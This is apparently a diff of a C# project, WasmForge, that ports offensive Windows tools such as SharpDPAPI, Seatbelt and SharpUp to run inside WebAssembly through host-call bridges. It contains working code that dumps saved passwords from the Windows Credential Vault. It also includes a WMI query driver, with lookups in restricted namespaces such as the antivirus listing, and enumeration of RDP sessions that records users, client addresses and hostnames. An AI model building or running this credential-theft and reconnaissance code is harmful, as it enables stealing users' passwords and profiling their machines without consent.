// bug; latent on lab box because vaultCount=0 short-circuits.
if (pFree != 0) Invoke(pFree, 1, vaultGuidArrayHost);
return results;
}
private static void ParseVaultItems(VaultData vd, ulong vaultHandle, ulong itemArrayHost,
int itemCount, int vaultItemSize, bool isWin8, uint pGetItem)
{
byte[] items = new byte[itemCount * vaultItemSize];
fixed (byte* ip = items)
{
if (!CopyHostToWasm(itemArrayHost, (uint)(IntPtr)ip, (uint)items.Length)) return;
for (int j = 0; j < itemCount; j++)
{
int b = j * vaultItemSize;
// VAULT_ITEM_WIN8 layout (x64):
// 0: Guid SchemaId (16)
// 16: IntPtr pszCredentialFriendlyName (8)
// 24: IntPtr pResourceElement (8)
// 32: IntPtr pIdentityElement (8)
// 40: IntPtr pAuthenticatorElement (8)
// 48: IntPtr pPackageSid (8) // win8+ only
// 56: ulong LastModified (8)
// WIN7 omits pPackageSid; LastModified is at offset 48.
Guid schemaId = ReadGuidInline(ip, b + 0);
ulong pResource = Read8(ip, b + 24);
ulong pIdentity = Read8(ip, b + 32);
ulong pAuth = Read8(ip, b + 40);
ulong pPackageSid = isWin8 ? Read8(ip, b + 48) : 0UL;
ulong lastModified = isWin8 ? Read8(ip, b + 56) : Read8(ip, b + 48);
// VaultGetItem returns a pointer to a newly-allocated
// VAULT_ITEM_*. The pAuthenticatorElement field on the
// RETURNED item is populated; the input item's
// pAuthenticatorElement is typically null/stub.
ulong passwordItemPtr = 0;
Guid sidMut = schemaId;
uint getRc;
if (isWin8)
{
getRc = Invoke(pGetItem, 8,
vaultHandle,
(ulong)(uint)(IntPtr)(&sidMut),
pResource,
pIdentity,
pPackageSid,
0UL, // IntPtr.Zero
0UL, // arg6 = 0
(ulong)(uint)(IntPtr)(&passwordItemPtr));
}
else
{
getRc = Invoke(pGetItem, 7,
vaultHandle,
(ulong)(uint)(IntPtr)(&sidMut),
pResource,
pIdentity,
0UL,
0UL,
(ulong)(uint)(IntPtr)(&passwordItemPtr));
}
ulong pAuthFromReturned = 0;
if (getRc == 0 && passwordItemPtr != 0)
{
// Read the returned item's pAuthenticatorElement (same offset 40 on both layouts).
byte[] ret = new byte[vaultItemSize];
fixed (byte* rp = ret)
{
if (CopyHostToWasm(passwordItemPtr, (uint)(IntPtr)rp, (uint)ret.Length))
{
pAuthFromReturned = Read8(rp, 40);
}
}
}
if (pAuthFromReturned == 0) pAuthFromReturned = pAuth;
var entry = new VaultEntryData
{
SchemaGuid = schemaId,
Resource = pResource != 0 ? ReadVaultElementString(pResource) : null,
Identity = pIdentity != 0 ? ReadVaultElementString(pIdentity) : null,
PackageSid = pPackageSid != 0 ? ReadVaultElementSid(pPackageSid) : null,
LastModifiedUtc = DateTime.FromFileTimeUtc((long)lastModified),
};
if (pAuthFromReturned != 0)
{
var (s, bytes) = ReadVaultElementAuth(pAuthFromReturned);
entry.CredentialString = s;
entry.CredentialBytes = bytes;
}
vd.Entries.Add(entry);
}
}
}
// ── VAULT_ITEM_ELEMENT readers ──────────────────────────────────
//
// Layout (LayoutKind.Explicit, x64):
// 0: int SchemaElementId
// 4: (padding)
// 8: int Type (VAULT_ELEMENT_TYPE enum)
// 12: (padding)
// 16: value union
//
// String: IntPtr at +16 → UTF-16 string in host memory
// Sid: IntPtr at +16 → PSID in host memory
// ByteArray: { int Length @+16; IntPtr pData @+24 }
private const int VAULT_ELEMENT_HEADER = 16;
private static (int type, byte[] body)? ReadElementHeader(ulong hostPtr, int bodyLen)
{
byte[] buf = new byte[VAULT_ELEMENT_HEADER + bodyLen];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(hostPtr, (uint)(IntPtr)bp, (uint)buf.Length)) return null;
}
int type = (int)((uint)buf[8] | ((uint)buf[9] << 8) | ((uint)buf[10] << 16) | ((uint)buf[11] << 24));
return (type, buf);
}
private static string? ReadVaultElementString(ulong hostPtr)
{
var h = ReadElementHeader(hostPtr, 8);
if (h == null) return null;
// Type 7 = String; type 0 = Boolean (1 byte); fall through and best-effort.
ulong strHost;
fixed (byte* bp = h.Value.body) strHost = Read8(bp, VAULT_ELEMENT_HEADER);
if (strHost == 0) return null;
return ReadWStringFromHost(strHost, 1024);
}
private static string? ReadVaultElementSid(ulong hostPtr)
{
var h = ReadElementHeader(hostPtr, 8);
if (h == null) return null;
ulong sidHost;
fixed (byte* bp = h.Value.body) sidHost = Read8(bp, VAULT_ELEMENT_HEADER);
if (sidHost == 0) return null;
uint pConv = Resolve("advapi32.dll", ref _advapi32, "ConvertSidToStringSidW", ref _hConvertSidToStringSidW);
uint pLocalFree = Resolve("kernel32.dll", ref _kernel32, "LocalFree", ref _hLocalFree);
if (pConv == 0) return null;
ulong sidWPtr = 0;
Invoke(pConv, 2, sidHost, (ulong)(uint)(IntPtr)(&sidWPtr));
if (sidWPtr == 0) return null;
string s = ReadWStringFromHost(sidWPtr, 256);
if (pLocalFree != 0) Invoke(pLocalFree, 1, sidWPtr);
return s;
}
// Authenticator element: usually String (web/domain passwords), occasionally ByteArray.
// Returns (string, null) for String elements, (null, bytes) for ByteArray elements.
private static (string? str, byte[]? bytes) ReadVaultElementAuth(ulong hostPtr)
{
var h = ReadElementHeader(hostPtr, 24);
if (h == null) return (null, null);
int type = h.Value.type;
byte[] body = h.Value.body;
switch (type)
{
case 7: // String
{
ulong strHost;
fixed (byte* bp = body) strHost = Read8(bp, VAULT_ELEMENT_HEADER);
if (strHost == 0) return (null, null);
return (ReadWStringFromHost(strHost, 4096), null);
}
case 8: // ByteArray
{
uint byteLen;
ulong byteDataHost;
fixed (byte* bp = body)
{
byteLen = Read4(bp, VAULT_ELEMENT_HEADER + 0);
byteDataHost = Read8(bp, VAULT_ELEMENT_HEADER + 8);
}
if (byteLen == 0 || byteDataHost == 0) return (null, new byte[0]);
if (byteLen > 65536) byteLen = 65536;
byte[] data = new byte[byteLen];
fixed (byte* dp = data) CopyHostToWasm(byteDataHost, (uint)(IntPtr)dp, byteLen);
return (null, data);
}
default:
return (null, null);
}
}
}
}
+332
View File
@@ -0,0 +1,332 @@
// WfWmi.cs — WMI WQL driver via direct COM vtable dispatch.
//
// Generalizable WMI client modeled after Go's go-ole / hcsshim approach:
// read vtable pointer from interface, index by slot number, call host
// function pointer via wf_call_ptr. No host-side wmi_query stub —
// pure CoCreateInstance + IWbemServices chain runs inside WASM.
//
// Chain:
// CoInitializeEx → CoCreateInstance(CLSID_WbemLocator, IID_IWbemLocator)
// → pLoc->ConnectServer(...) → pSvc
// → pSvc->ExecQuery("WQL", wql, flags, NULL, &pEnum)
// → loop pEnum->Next → pObj
// pObj->BeginEnumeration → loop Next(name,var) → EndEnumeration
// → Release pObj, pEnum, pSvc, pLoc
//
// NOTE: A duplicate of this class (`WfWmiCom`) lives inside
// dotnet/stubs/System.Management/Stubs.cs because the stub assembly
// can't reference the parent project's WasmForge.Helpers namespace.
// Both must stay in sync; bugfix here means bugfix in Stubs.cs too.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
namespace WasmForge.Helpers
{
public static unsafe class WfWmi
{
public static readonly Guid CLSID_WbemLocator = new Guid("4590f811-1d3a-11d0-891f-00aa004b2e24");
public static readonly Guid IID_IWbemLocator = new Guid("dc12a687-737f-11cf-884d-00aa004b2e24");
const int IWbemLocator_ConnectServer = 3;
const int IWbemServices_ExecQuery = 20;
const int IEnumWbemClassObject_Next = 4;
const int IWbemClassObject_BeginEnumeration = 8;
const int IWbemClassObject_Next = 9;
const int IWbemClassObject_EndEnumeration = 10;
const uint WBEM_FLAG_RETURN_IMMEDIATELY = 0x10;
const uint WBEM_FLAG_FORWARD_ONLY = 0x20;
const uint WBEM_FLAG_NONSYSTEM_ONLY = 0x40;
const uint WBEM_INFINITE = 0xFFFFFFFF;
const uint WBEM_S_NO_MORE_DATA = 0x40005;
[DllImport("env", EntryPoint = "wf_call_ptr_fixed12")]
private static extern ulong NativeCallPtr12(ulong funcptr, int nargs,
uint ptrMask, uint out8Mask,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11);
static bool _initialized = false;
static void EnsureInitialized()
{
if (_initialized) return;
WfCom.Initialize();
_initialized = true;
}
/// <summary>
/// Execute a WQL query and return matching rows as
/// List&lt;Dict&lt;string,object&gt;&gt;. Empty list on any failure.
/// </summary>
public static List<Dictionary<string, object>> Query(string nspace, string wql)
{
var results = new List<Dictionary<string, object>>();
if (string.IsNullOrEmpty(wql)) return results;
EnsureInitialized();
IntPtr pLoc = WfCom.CreateInstance(CLSID_WbemLocator, IID_IWbemLocator);
if (pLoc == IntPtr.Zero) return results;
// Hoist all heap-allocated COM resources up so a single
// finally block can release everything unconditionally —
// avoids the goto-cleanup leak path the reviewer flagged.
ulong bstrRes = 0;
ulong bstrLang = 0;
ulong bstrQuery = 0;
IntPtr pSvc = IntPtr.Zero;
IntPtr pEnum = IntPtr.Zero;
try
{
bstrRes = WfCom.StringToBstr(nspace ?? "root\\cimv2");
bstrLang = WfCom.StringToBstr("WQL");
// ── ConnectServer (9 args incl this — uses fixed12) ──
ulong fnConnect = WfCom.ReadVtableSlot(pLoc, IWbemLocator_ConnectServer);
if (fnConnect == 0) return results;
IntPtr ppSvc = Marshal.AllocHGlobal(8);
*((ulong*)ppSvc) = 0;
// ptrMask: this(0) + ppSvc(8) = 0x101
// out8Mask: ppSvc(8) = 0x100
ulong hrC = NativeCallPtr12(fnConnect, 9, 0x101, 0x100,
(ulong)(uint)pLoc,
bstrRes, 0, 0, 0,
0, 0, 0,
(ulong)(uint)ppSvc,
0, 0, 0);
if ((uint)hrC != 0)
{
Marshal.FreeHGlobal(ppSvc);
// Mirror native System.Management semantics: ManagementScope.Connect()
// (and the implicit connect inside ManagementObjectSearcher.Get()) raises
// ManagementException for well-known WBEM error HRESULTs. Without this,
// wasmforge silently returns an empty result set on a bad namespace and
// callers that expect to catch the exception (e.g. SharpDPAPI SCCM.cs's
// `catch (Exception e)` around NewSccmConnection) never see it.
// 0x8004100E = WBEM_E_INVALID_NAMESPACE — surface as ManagementException
// so the patched call sites get the same semantics as native.
if ((uint)hrC == 0x8004100E)
throw new System.Management.ManagementException("Invalid namespace ");
return results;
}
pSvc = (IntPtr)(*((uint*)ppSvc));
Marshal.FreeHGlobal(ppSvc);
if (pSvc == IntPtr.Zero) return results;
// Set proxy authn/imp posture before ExecQuery via CoSetProxyBlanket.
// Mandatory for restricted namespaces (root\SecurityCenter2,
// ROOT\Subscription) to prevent IUnknown auth callbacks from
// re-entering WASM and corrupting the Go runtime syscall frame.
WfCom.SetProxyBlanket(pSvc);
// ── ExecQuery (6 args incl this — uses fixed8) ──
ulong fnExec = WfCom.ReadVtableSlot(pSvc, IWbemServices_ExecQuery);
if (fnExec == 0) return results;
bstrQuery = WfCom.StringToBstr(wql);
IntPtr ppEnum = Marshal.AllocHGlobal(8);
*((ulong*)ppEnum) = 0;
// ptrMask: this(0) + ppEnum(5) = 0x21; out8Mask: ppEnum(5) = 0x20
ulong hrE = WfCom.InvokeMethod(fnExec, pSvc, /*ptrMask*/ 0x21,
arg1: bstrLang,
arg2: bstrQuery,
arg3: WBEM_FLAG_RETURN_IMMEDIATELY | WBEM_FLAG_FORWARD_ONLY,
arg4: 0,
arg5: (ulong)(uint)ppEnum,
nargs: 6,
out8Mask: 0x20);
if ((uint)hrE != 0)
{
Marshal.FreeHGlobal(ppEnum);
return results;
}
pEnum = (IntPtr)(*((uint*)ppEnum));
Marshal.FreeHGlobal(ppEnum);
if (pEnum == IntPtr.Zero) return results;
// ── Enumerate ──
ulong fnNext = WfCom.ReadVtableSlot(pEnum, IEnumWbemClassObject_Next);
if (fnNext == 0) return results;
int safetyMax = 4096;
while (safetyMax-- > 0)
{
IntPtr ppObj = Marshal.AllocHGlobal(8);
*((ulong*)ppObj) = 0;
IntPtr pUret = Marshal.AllocHGlobal(4);
*((uint*)pUret) = 0;
// ptrMask: this(0)+apObjects(3)+puReturned(4) = 0x19
// out8Mask: apObjects(3) = 0x08
ulong hrN = WfCom.InvokeMethod(fnNext, pEnum, /*ptrMask*/ 0x19,
arg1: WBEM_INFINITE,
arg2: 1,
arg3: (ulong)(uint)ppObj,
arg4: (ulong)(uint)pUret,
nargs: 5,
out8Mask: 0x08);
uint uReturned = *((uint*)pUret);
IntPtr pObj = (IntPtr)(*((uint*)ppObj));
Marshal.FreeHGlobal(ppObj);
Marshal.FreeHGlobal(pUret);
if (uReturned == 0 || pObj == IntPtr.Zero) break;
var row = ExtractProperties(pObj);
if (row != null) results.Add(row);
ReleaseCom(pObj);
if ((uint)hrN == WBEM_S_NO_MORE_DATA) break;
if ((uint)hrN != 0) break;
}
}
finally
{
WfCom.FreeBstr(bstrRes);
WfCom.FreeBstr(bstrLang);
WfCom.FreeBstr(bstrQuery);
ReleaseCom(pEnum);
ReleaseCom(pSvc);
ReleaseCom(pLoc);
}
return results;
}
private static Dictionary<string, object> ExtractProperties(IntPtr pObj)
{
var row = new Dictionary<string, object>(StringComparer.OrdinalIgnoreCase);
ulong fnBegin = WfCom.ReadVtableSlot(pObj, IWbemClassObject_BeginEnumeration);
ulong fnNext = WfCom.ReadVtableSlot(pObj, IWbemClassObject_Next);
ulong fnEnd = WfCom.ReadVtableSlot(pObj, IWbemClassObject_EndEnumeration);
if (fnBegin == 0 || fnNext == 0 || fnEnd == 0) return row;
ulong hr0 = WfCom.InvokeMethod(fnBegin, pObj, 0x01,
arg1: WBEM_FLAG_NONSYSTEM_ONLY, nargs: 2);
if ((uint)hr0 != 0) return row;
int safetyMax = 1024;
while (safetyMax-- > 0)
{
IntPtr ppName = Marshal.AllocHGlobal(8);
*((ulong*)ppName) = 0;
IntPtr pVar = WfCom.AllocVariant();
// ptrMask: this(0)+ppName(2)+pVar(3) = 0x0D
// out8Mask: ppName(2)+pVar(3) = 0x0C
ulong hrN = WfCom.InvokeMethod(fnNext, pObj, 0x0D,
arg1: 0,
arg2: (ulong)(uint)ppName,
arg3: (ulong)(uint)pVar,
arg4: 0,
arg5: 0,
nargs: 6,
out8Mask: 0x0C);
if ((uint)hrN != 0)
{
Marshal.FreeHGlobal(ppName);
WfCom.ClearVariant(pVar); WfCom.FreeVariant(pVar);
break;
}
ulong bstrHost = *((ulong*)ppName);
string propName = WfCom.BstrToString(bstrHost);
object value = WfCom.VariantToObject(pVar);
if (!string.IsNullOrEmpty(propName))
row[propName] = value;
if (bstrHost != 0) WfCom.FreeBstr(bstrHost);
Marshal.FreeHGlobal(ppName);
WfCom.ClearVariant(pVar); WfCom.FreeVariant(pVar);
}
WfCom.InvokeMethod(fnEnd, pObj, 0x01, nargs: 1);
return row;
}
public static void ReleaseCom(IntPtr ifc)
{
if (ifc == IntPtr.Zero) return;
ulong fnRelease = WfCom.ReadVtableSlot(ifc, /*IUnknown_Release*/ 2);
if (fnRelease == 0) return;
WfCom.InvokeMethod(fnRelease, ifc, 0x01, nargs: 1);
}
// QueryRestricted: host-side WMI query for restricted namespaces
// (root\SecurityCenter2, ROOT\Subscription) that fire IUnknown callbacks
// during ConnectServer. The host handles the full COM sequence —
// CoSetProxyBlanket on the IWbemServices proxy, synchronous ExecQuery,
// and result serialisation — entirely on the COM STA thread. No FFI
// crossing during the WMI handshake means no chanrecv2 panic in wazero.
//
// The host function returns JSON (same format as the cimv2 wf_call_ptr
// path) which we deserialise here into the same Dictionary type.
[DllImport("env", EntryPoint = "wmi_query_r")]
private static extern uint WfWmiQueryRestrictedNative(
uint queryPtr, uint queryLen,
uint nsPtr, uint nsLen,
uint outBufPtr, uint outBufLen);
public static List<Dictionary<string, object>> QueryRestricted(string nspace, string wql)
{
var results = new List<Dictionary<string, object>>();
if (string.IsNullOrEmpty(wql)) return results;
EnsureInitialized();
// Marshal the two strings into fixed pinned memory and call the host.
byte[] queryBytes = System.Text.Encoding.UTF8.GetBytes(wql);
byte[] nsBytes = System.Text.Encoding.UTF8.GetBytes(nspace ?? "root\\cimv2");
const int outCap = 131072; // 128 KB — generous for AV / event consumer lists
byte[] outBuf = new byte[outCap];
uint written;
unsafe
{
fixed (byte* qp = queryBytes, np = nsBytes, op = outBuf)
{
written = WfWmiQueryRestrictedNative(
(uint)(ulong)qp, (uint)queryBytes.Length,
(uint)(ulong)np, (uint)nsBytes.Length,
(uint)(ulong)op, (uint)outBuf.Length);
}
}
if (written == 0) return results;
string json = System.Text.Encoding.UTF8.GetString(outBuf, 0, (int)written);
try
{
// Deserialise JSON array produced by wmiQueryJSON on the host.
// Format: [{"key":"value",...}, ...]
// Use JsonDocument.Parse + manual property walk — reflection-based
// JsonSerializer.Deserialize<T> is stripped by NativeAOT trimming.
using var doc = System.Text.Json.JsonDocument.Parse(json);
if (doc.RootElement.ValueKind != System.Text.Json.JsonValueKind.Array)
return results;
foreach (var row in doc.RootElement.EnumerateArray())
{
if (row.ValueKind != System.Text.Json.JsonValueKind.Object) continue;
var dict = new Dictionary<string, object>(StringComparer.OrdinalIgnoreCase);
foreach (var prop in row.EnumerateObject())
{
object val;
switch (prop.Value.ValueKind)
{
case System.Text.Json.JsonValueKind.String:
val = prop.Value.GetString() ?? ""; break;
case System.Text.Json.JsonValueKind.Number:
val = prop.Value.TryGetInt64(out long lv) ? (object)lv : prop.Value.GetDouble(); break;
case System.Text.Json.JsonValueKind.True:
val = true; break;
case System.Text.Json.JsonValueKind.False:
val = false; break;
default:
val = ""; break;
}
dict[prop.Name] = val;
}
results.Add(dict);
}
}
catch { /* malformed JSON — return empty */ }
return results;
}
}
}
+120
View File
@@ -0,0 +1,120 @@
using System;
using System.Collections;
using System.Collections.Generic;
namespace WasmForge.Helpers
{
// Drop-in API facade for System.Management.ManagementObjectSearcher used by
// SharpUp and Seatbelt. Routes through WfWmi.Query / WfWmi.QueryRestricted
// which dispatch WQL over the host COM/WMI bridge.
//
// WfWmi.Query signature (confirmed from WfWmi.cs line 64):
// public static List<Dictionary<string,object>> Query(string nspace, string wql)
//
// Both constructors normalise the namespace then call Get() which delegates
// to WfWmi.Query. QueryRestricted is used when the patcher rule emits
// WfWmiSearcherShim with namespace root\\SecurityCenter2 or root\\subscription.
public class WfWmiSearcherShim : IDisposable
{
private readonly string _ns;
private readonly string _query;
public WfWmiSearcherShim(string query) : this("root\\cimv2", query) { }
public WfWmiSearcherShim(string ns, string query)
{
_ns = ns ?? "root\\cimv2";
_query = query ?? "";
}
public WfWmiSearcherResultCollection Get() =>
new WfWmiSearcherResultCollection(_ns, _query);
public void Dispose() { }
}
public class WfWmiSearcherResultCollection : IEnumerable<WfWmiObject>, IDisposable
{
private readonly List<WfWmiObject> _items = new List<WfWmiObject>();
public WfWmiSearcherResultCollection(string ns, string query)
{
try
{
// WfWmi.Query returns List<Dictionary<string,object>>.
// WfWmi.QueryRestricted has the identical signature and return type;
// we use it for namespaces that need CoSetProxyBlanket on the host.
List<Dictionary<string, object>> rows =
IsRestrictedNamespace(ns)
? WfWmi.QueryRestricted(ns, query)
: WfWmi.Query(ns, query);
if (rows != null)
foreach (var row in rows)
_items.Add(new WfWmiObject(row));
}
catch { /* return empty collection on any failure */ }
}
public int Count => _items.Count;
public IEnumerator<WfWmiObject> GetEnumerator() => _items.GetEnumerator();
IEnumerator IEnumerable.GetEnumerator() => GetEnumerator();
public void Dispose() { }
// Namespaces that require CoSetProxyBlanket (restricted WMI paths).
private static bool IsRestrictedNamespace(string ns)
{
if (ns == null) return false;
string lower = ns.ToLowerInvariant();
return lower.Contains("securitycenter") || lower.Contains("subscription");
}
}
public class WfWmiObject : IDisposable
{
private readonly Dictionary<string, object> _data;
public WfWmiObject(Dictionary<string, object> data)
{
_data = data ?? new Dictionary<string, object>();
}
public WfWmiPropertyData this[string key]
{
get
{
_data.TryGetValue(key, out var v);
return new WfWmiPropertyData(v);
}
}
public WfWmiPropertyCollection Properties => new WfWmiPropertyCollection(_data);
public void Dispose() { }
}
public class WfWmiPropertyData
{
public object Value { get; }
public WfWmiPropertyData(object v) { Value = v; }
public override string ToString() => Value?.ToString() ?? "";
public static implicit operator string(WfWmiPropertyData p) => p?.Value?.ToString() ?? "";
}
public class WfWmiPropertyCollection : IEnumerable<KeyValuePair<string, object>>
{
private readonly Dictionary<string, object> _data;
public WfWmiPropertyCollection(Dictionary<string, object> data)
{
_data = data ?? new Dictionary<string, object>();
}
public IEnumerator<KeyValuePair<string, object>> GetEnumerator() => _data.GetEnumerator();
IEnumerator IEnumerable.GetEnumerator() => GetEnumerator();
}
}
+368
View File
@@ -0,0 +1,368 @@
// WfWts.cs — managed helpers for wtsapi32.dll (RDP session enumeration).
//
// Same Resolve→Invoke→CopyHostToWasm pattern as WfNetapi/WfVault. The
// consumer (RDPSessionsCommand) uses Marshal.PtrToStructure on host
// pointers which can't work on wasm32 (4-byte IntPtr truncates x64
// addresses). EnumerateSessions returns parsed RDPSessionData entries
// so the consumer can build its DTO directly.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfWts
{
[DllImport("env", EntryPoint = "mod_load")]
private static extern uint mod_load(uint namePtr);
[DllImport("env", EntryPoint = "mod_resolve")]
private static extern uint mod_resolve(uint libHandle, uint namePtr);
[DllImport("env", EntryPoint = "mod_invoke")]
private static extern ulong mod_invoke(
ulong procHandle, uint nargs,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11,
ulong a12, ulong a13, ulong a14,
ulong ret1Ptr, ulong errPtr);
// ── Cached library + proc handles ───────────────────────────────
private static uint _wtsapi32;
private static uint _hOpenServer;
private static uint _hCloseServer;
private static uint _hEnumSessionsEx;
private static uint _hFreeMemory;
private static uint _hQuerySessionInfo;
private static uint _ntdll;
private static uint _hRtlMoveMemory;
private static uint Resolve(string dll, ref uint cachedLib, string fn, ref uint cachedProc)
{
if (cachedProc != 0) return cachedProc;
if (cachedLib == 0)
{
byte[] db = Encoding.ASCII.GetBytes(dll + "\0");
fixed (byte* dp = db) cachedLib = mod_load((uint)(IntPtr)dp);
if (cachedLib == 0) return 0;
}
byte[] fb = Encoding.ASCII.GetBytes(fn + "\0");
fixed (byte* fp = fb) cachedProc = mod_resolve(cachedLib, (uint)(IntPtr)fp);
return cachedProc;
}
private static uint Invoke(uint proc, uint nargs,
ulong a0 = 0, ulong a1 = 0, ulong a2 = 0, ulong a3 = 0,
ulong a4 = 0, ulong a5 = 0, ulong a6 = 0, ulong a7 = 0)
{
ulong ret1 = 0, err = 0;
ulong r0 = mod_invoke((ulong)proc, nargs,
a0, a1, a2, a3, a4, a5, a6, a7, 0, 0, 0, 0, 0, 0, 0,
(ulong)(uint)(IntPtr)(&ret1),
(ulong)(uint)(IntPtr)(&err));
return (uint)r0;
}
private static bool CopyHostToWasm(ulong hostAddr, uint wasmPtr, uint len)
{
if (hostAddr == 0 || wasmPtr == 0 || len == 0) return false;
uint pCopy = Resolve("ntdll.dll", ref _ntdll, "RtlMoveMemory", ref _hRtlMoveMemory);
if (pCopy == 0) return false;
Invoke(pCopy, 3, (ulong)wasmPtr, hostAddr, (ulong)len);
return true;
}
private static uint Read4(byte* p, int off) =>
(uint)(p[off+0] | (p[off+1] << 8) | (p[off+2] << 16) | (p[off+3] << 24));
private static ulong Read8(byte* p, int off) =>
((ulong)p[off+0]) | ((ulong)p[off+1] << 8) |
((ulong)p[off+2] << 16) | ((ulong)p[off+3] << 24) |
((ulong)p[off+4] << 32) | ((ulong)p[off+5] << 40) |
((ulong)p[off+6] << 48) | ((ulong)p[off+7] << 56);
private static string ReadAnsiStringFromHost(ulong hostAddr, int maxChars)
{
if (hostAddr == 0 || maxChars <= 0) return "";
byte[] buf = new byte[maxChars];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(hostAddr, (uint)(IntPtr)bp, (uint)buf.Length)) return "";
}
int len = 0;
while (len < maxChars && buf[len] != 0) len++;
if (len == 0) return "";
return Encoding.ASCII.GetString(buf, 0, len);
}
private static string ReadWStringFromHost(ulong hostAddr, int maxChars)
{
if (hostAddr == 0 || maxChars <= 0) return "";
byte[] buf = new byte[maxChars * 2];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(hostAddr, (uint)(IntPtr)bp, (uint)buf.Length)) return "";
}
int charLen = 0;
for (int i = 0; i < maxChars; i++)
{
if (buf[2*i] == 0 && buf[2*i + 1] == 0) break;
charLen++;
}
if (charLen == 0) return "";
char[] chars = new char[charLen];
for (int i = 0; i < charLen; i++)
chars[i] = (char)(buf[2*i] | (buf[2*i + 1] << 8));
return new string(chars);
}
// ── Public data types ───────────────────────────────────────────
public class ClientDisplay
{
public int HorizontalResolution;
public int VerticalResolution;
public int ColorDepth;
}
public class RDPSessionData
{
public uint SessionID;
public string SessionName = "";
public string UserName = "";
public string DomainName = "";
public int State; // WTS_CONNECTSTATE_CLASS enum value
public string HostName = "";
public string FarmName = "";
public long? LastInputTime;
public byte[]? ClientAddressV4; // 4 bytes for AF_INET
public string? ClientHostname;
public ClientDisplay? ClientResolution;
public int? ClientBuild;
public byte[]? ClientHardwareId;
public string? ClientDirectory;
}
// WTS_INFO_CLASS values used.
private const int WTSClientBuildNumber = 9;
private const int WTSClientName = 10;
private const int WTSClientDirectory = 11;
private const int WTSClientAddress = 14;
private const int WTSClientDisplay = 15;
private const int WTSClientHardwareId = 13;
private const int WTSSessionInfo = 24;
public static List<RDPSessionData> EnumerateSessions(string computerName)
{
var results = new List<RDPSessionData>();
uint pOpen = Resolve("wtsapi32.dll", ref _wtsapi32, "WTSOpenServerA", ref _hOpenServer);
uint pClose = Resolve("wtsapi32.dll", ref _wtsapi32, "WTSCloseServer", ref _hCloseServer);
uint pEnumEx = Resolve("wtsapi32.dll", ref _wtsapi32, "WTSEnumerateSessionsExA", ref _hEnumSessionsEx);
uint pFree = Resolve("wtsapi32.dll", ref _wtsapi32, "WTSFreeMemory", ref _hFreeMemory);
uint pQuery = Resolve("wtsapi32.dll", ref _wtsapi32, "WTSQuerySessionInformationW", ref _hQuerySessionInfo);
if (pOpen == 0 || pEnumEx == 0) return results;
// Open server (NULL for local, ANSI name for remote).
ulong server = 0;
if (string.IsNullOrEmpty(computerName) || computerName == "localhost")
{
// 0 == WTS_CURRENT_SERVER_HANDLE.
server = 0;
}
else
{
byte[] nb = Encoding.ASCII.GetBytes(computerName + "\0");
fixed (byte* np = nb) server = Invoke(pOpen, 1, (ulong)(uint)(IntPtr)np);
if (server == 0) return results;
}
// Enumerate sessions (Level 1 → WTS_SESSION_INFO_1).
int level = 1;
ulong sessionArrayHost = 0;
int sessionCount = 0;
uint rc = Invoke(pEnumEx, 5,
server,
(ulong)(uint)(IntPtr)(&level),
0u,
(ulong)(uint)(IntPtr)(&sessionArrayHost),
(ulong)(uint)(IntPtr)(&sessionCount));
if (rc == 0 || sessionCount <= 0 || sessionArrayHost == 0)
{
CloseServer(pClose, server);
return results;
}
if (sessionCount > 256) sessionCount = 256;
// WTS_SESSION_INFO_1 x64 layout (LayoutKind.Sequential, no Pack):
// 0: uint ExecEnvId (4)
// 4: int State (4)
// 8: uint SessionID (4)
// 12: padding to 8-byte align (4)
// 16: LPSTR pSessionName (8)
// 24: LPSTR pHostName (8)
// 32: LPSTR pUserName (8)
// 40: LPSTR pDomainName (8)
// 48: LPSTR pFarmName (8)
// Total: 56 bytes per entry.
const int SESSION_INFO_1_SIZE = 56;
byte[] entries = new byte[sessionCount * SESSION_INFO_1_SIZE];
fixed (byte* ep = entries)
{
if (!CopyHostToWasm(sessionArrayHost, (uint)(IntPtr)ep, (uint)entries.Length))
{
if (pFree != 0) Invoke(pFree, 1, sessionArrayHost);
CloseServer(pClose, server);
return results;
}
for (int i = 0; i < sessionCount; i++)
{
int b = i * SESSION_INFO_1_SIZE;
var s = new RDPSessionData
{
State = (int)Read4(ep, b + 4),
SessionID = Read4(ep, b + 8),
SessionName = ReadAnsiStringFromHost(Read8(ep, b + 16), 64),
HostName = ReadAnsiStringFromHost(Read8(ep, b + 24), 256),
UserName = ReadAnsiStringFromHost(Read8(ep, b + 32), 64),
DomainName = ReadAnsiStringFromHost(Read8(ep, b + 40), 64),
FarmName = ReadAnsiStringFromHost(Read8(ep, b + 48), 128),
};
if (pQuery != 0)
{
s.ClientAddressV4 = QueryAddressV4(pQuery, pFree, server, s.SessionID);
s.ClientHostname = QueryWideString(pQuery, pFree, server, s.SessionID, WTSClientName, 64);
s.ClientDirectory = QueryWideString(pQuery, pFree, server, s.SessionID, WTSClientDirectory, 260);
s.ClientBuild = QueryInt32(pQuery, pFree, server, s.SessionID, WTSClientBuildNumber);
s.ClientResolution = QueryClientDisplay(pQuery, pFree, server, s.SessionID);
s.ClientHardwareId = QueryHardwareId(pQuery, pFree, server, s.SessionID);
s.LastInputTime = QuerySessionInfoLastInput(pQuery, pFree, server, s.SessionID);
}
results.Add(s);
}
}
if (pFree != 0) Invoke(pFree, 1, sessionArrayHost);
CloseServer(pClose, server);
return results;
}
private static void CloseServer(uint pClose, ulong server)
{
if (server != 0 && pClose != 0) Invoke(pClose, 1, server);
}
// QueryRaw: WTSQuerySessionInformationW returns hostPtr + byteLen via out
// params. Returns the host buffer pointer (caller must free via pFree).
// Out byteLen is written to *byteLenOut.
private static ulong QueryRaw(uint pQuery, ulong server, uint sessionId, int infoClass, out uint byteLen)
{
ulong bufHost = 0;
uint bytes = 0;
byteLen = 0;
uint rc = Invoke(pQuery, 5,
server,
(ulong)sessionId,
(ulong)(uint)infoClass,
(ulong)(uint)(IntPtr)(&bufHost),
(ulong)(uint)(IntPtr)(&bytes));
if (rc == 0 || bufHost == 0) return 0;
byteLen = bytes;
return bufHost;
}
